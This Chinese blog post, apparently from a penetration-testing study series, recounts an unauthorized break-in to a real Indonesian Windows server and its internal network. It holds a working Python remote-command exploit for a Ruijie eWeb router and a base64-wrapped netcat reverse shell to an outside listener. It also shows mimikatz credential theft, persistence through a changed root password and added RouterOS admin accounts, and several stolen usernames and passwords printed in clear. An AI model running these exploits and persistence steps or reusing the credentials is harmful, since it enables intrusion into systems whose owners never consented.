本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
文章目录
- 前言
- 丝滑RDP
- 后渗透
- 来的早不如来的巧
- 初探内网
- 基本信息收集
- 提取浏览器密码
- Cpanel
- 锐捷eWeb
- 反弹shell
- 上线ssh
- MySQL1
- MySQL2
- 多网段
- RouterOS1
- RouterOS2-3
- Fanvil VOIP
- 未完待续
- WAMP/DVWA/sqli-labs 搭建
- burpsuite工具抓包及Intruder暴力破解的使用
- 目录扫描,请求重发,漏洞扫描等工具的使用
- 网站信息收集及nmap的下载使用
- SQL注入(1)——了解成因和手工注入方法
- SQL注入(2)——各种注入
- SQL注入(3)——SQLMAP
- SQL注入(4)——实战SQL注入拿webshell
- Vulnhub靶机渗透之Me and My Girlfriend
- XSS漏洞
- 文件上传漏洞
- 文件上传绕过
- 文件包含漏洞
- Vulnhub靶机渗透之zico2
- 命令执行漏洞
- 逻辑漏洞(越权访问和支付漏洞)
- 网站后台安全
- weevely的使用及免杀(Linux中的菜刀)
- MSF(1)——一次完整的渗透流程
- WebShell命令执行限制(解决方案)
- 记一次艰难的SQL注入(过安全狗)
- MSF(2)——各种木马的生成及简单的免杀
- MSF(3)——apk和exe的加马(过360、火绒)
- 通过Frp解决实现内网穿透
- 改造冰蝎马,实现免杀之default_aes php
- 使用FofaSpider和Python联动批量挖洞
- 记一次简单的对盗号网站的渗透
- 记一次幸运的漏洞挖掘
- 记一次从外网打通AWS云
前言
如同上一篇博客所说,我在无聊的打外国的服务器。今天打的是一台印度尼西亚的Windows服务器,也是我第一次进行内网渗透,遂记录。
本文仅供学习交流,切勿违法法律和行政法规。阅读者的一切违法行为与本文无关。
由于全都是真实环境,因此厚码处理。
丝滑RDP
首先拿到URL,访问是一个Tomcat服务器。
使用弱口令:tomcat/tomcat进入manager
部署war包,使用哥斯拉连接,成功获取webshell。
当前权限为system,那必须抓一手密码上线rdp。
使用哥斯拉自带mimikatz抓密码。
得到多用户密码。
使用如下指令获取rdp端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
0xd3c,转化成十进制为3388
直接连接,十分丝滑。
后渗透
开始进行后渗透。
来的早不如来的巧
一连上服务器,看见有浏览器,点开,就看到几个页面。
啊!这是什么!白送?
首先拿下Roundcube WebMail,可以发送邮件,可以看邮件。
接下来旁边四个cPanel,全都是登录状态。
直接在左边搜索Terminal进入终端
写公钥
拿下拿下
通过此方法轻松拿下四个Linux服务器。
初探内网
基本信息收集
ipconfig /all #获取网络信息
systeminfo #获取系统信息
netstat -ano #获取端口情况
tasklist /svc #获取系统进程
可以直接把信息交给ai,让ai总结。
先执行:
再发给ai,让他总结。
无域环境,内网网段为192.168.0.0/24
系统上装了TeamViewer和MySQL。
放了个fscan上去扫
fscan -h 192.168.0.0/24
毛都没扫出来
传了个suo5把流量代理出来,为了防止被发现,我把文件隐藏了。
这里分享一下我是怎么隐藏文件的,可以装逼骗小白。
直接右键,属性,选择隐藏
成功连接。
提取浏览器密码
因为粗心的开发者很可能会使用Google浏览器的保存密码功能,因此我们可以从浏览器中提取密码。
如果只有webshell,可以通过工具提取,我们有rdp,则可以直接在浏览器的Sertting->Password中查找
这里提取到三个密码,分别为:
172.18.1.12
admin/inforindo3011
172.25.6.34
admin/admin123
cpanel.xxxx:2083
mjb/Depo 01 xxx
Cpanel
通过刚才泄露的密码成功登录CPanel,可以控制文件系统,邮箱,数据库等。
锐捷eWeb
挂代理用goby扫,扫出了一个锐捷的eWeb路由器。IP为192.168.0.99
存在任意命令执行漏洞,可以使用如下Python程序利用。
import requests
import json
import time
import urllib3
# 关闭SSL警告(如果存在)
urllib3.disable_warnings()
# SOCKS5代理配置
proxies = {
'http': 'socks5h://127.0.0.1:1111',
'https': 'socks5h://127.0.0.1:1111',
}
# 目标主机
target = 'http://192.168.0.99'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)',
'Content-Type': 'application/json',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive'
}
def execute_cmd(cmd):
# 构造payload:命令写入tt1.txt
payload = {
"method": "checkNet",
"params": {
"host": f"`{cmd} > tt1.txt 2>&1`"
}
}
try:
# 发起POST请求执行命令
r = requests.post(
f"{target}/cgi-bin/luci/api/auth",
data=json.dumps(payload),
headers=headers,
proxies=proxies,
timeout=10,
verify=False
)
# 等待目标系统写入文件(可根据情况调整)
time.sleep(1.5)
# 读取命令输出
r2 = requests.get(
f"{target}/cgi-bin/tt1.txt",
headers=headers,
proxies=proxies,
timeout=10,
verify=False
)
if r2.status_code == 200:
return r2.text.strip()
else:
return f"[!] Failed to read output: HTTP {r2.status_code}"
except Exception as e:
return f"[!] Error: {e}"
def main():
print("== Remote Shell (Ruijie eWeb RCE) ==")
print("Type 'exit' or Ctrl+C to quit.\n")
try:
while True:
cmd = input("eweb$ ")
if cmd.strip().lower() in ['exit', 'quit']:
break
if cmd.strip() == '':
continue
result = execute_cmd(cmd)
print(result)
except KeyboardInterrupt:
print("\n[+] Exit.")
return
if __name__ == '__main__':
main()
这样我们就可以比较方便地执行任意指令了。
接下来尝试持久化控制。
反弹shell
我把互联网翻了个遍,居然没有人讲持久化控制。那我来讲。
首先,这种路由器的Linux肯定是非常拉胯的,什么都没有,Python,php都不存在,但一般来说会有一个busybox,这就是我们的突破口。
首先确保其能出网。
可以出网,我们就可以反弹shell。但是要用特殊方法。
假设监听机IP为1.1.1.1,我们在上面部署好监听,端口为1234。
然后找一个Linux终端,输入如下指令获取base64值。
echo 'mkfifo /tmp/f; /bin/sh </tmp/f | nc 1.1.1.1 1234 >/tmp/f' | base64
然后在路由器上执行如下指令
echo <加密后的结果> | base64 -d | sh
成功得到反弹shell
上线ssh
一般来说busybox里面都会有一个ssh客户端,但没有sshd服务端,我们可以自己安装一个。
使用下列指令安装。
opkg update
opkg install dropbear
安装好后开启sshd,监听22端口,我们可以用netstat -tulnp
查看是否开启成功
再给root改个密码
eweb$ echo 'root:abc123' | chpasswd
Password for 'root' changed
挂上代理直接连接,成功拿下
MySQL1
连接那四台Linux服务器中的blueberry,使用ls -a
查看当前目录下所有文件
嗯,这个.myf是什么?cat一下
cat .myf
MySQL+1
MySQL2
先前说过,我们入口的Windows服务器上有MySQL服务。
Tomcat的webapps中还部署了别的站点,在其中找到配置文件,得到MySQL账号密码。
MySQL+1.
多网段
在入口的Windows服务器中显示当前内网段为:192.168.0.0/24
但在锐捷eweb中我们发现存在网段10.123.123.0/24
为了探测可达网段,我直接传了一个netspy去探测。
netspy is
得到一个alive.txt文件,打开一看
93个网段?狗屁吧。
先扫再说,管他真假
RouterOS1
fscan -hf alive.txt
发现弱口令,IP为:172.25.6.34,账密为admin/admin123
挂好代理直接用FinalShell连接
网页端也可以登陆
用dhcp看看有哪些设备
/ip dhcp-server lease print
红米、三星、真我。这给我干哪来了?
RouterOs+1
RouterOS2-3
睡了一觉回来,发现多了一个WinBox的活动连接。
直接connect试试水。
成功连接。
因为不知道密码是多少,所以进入终端直接加一个新用户。
/user add name=tty group=full password="tty123456" disabled=no
/ip service set ssh disabled=no
/ip service set ssh address=0.0.0.0/0
挂好代理直接连接。
通过此方法拿下10.208.3.1、10.253.55.5
Fanvil VOIP
WEB界面admin/admin弱口令拿下来的,不知道有什么用
未完待续
在之后就打不动了,fscan什么都没扫出来,内网里面也全都是Routeros。有会的大佬可以来教一下我。我还是太菜了,溜了溜了
发布评论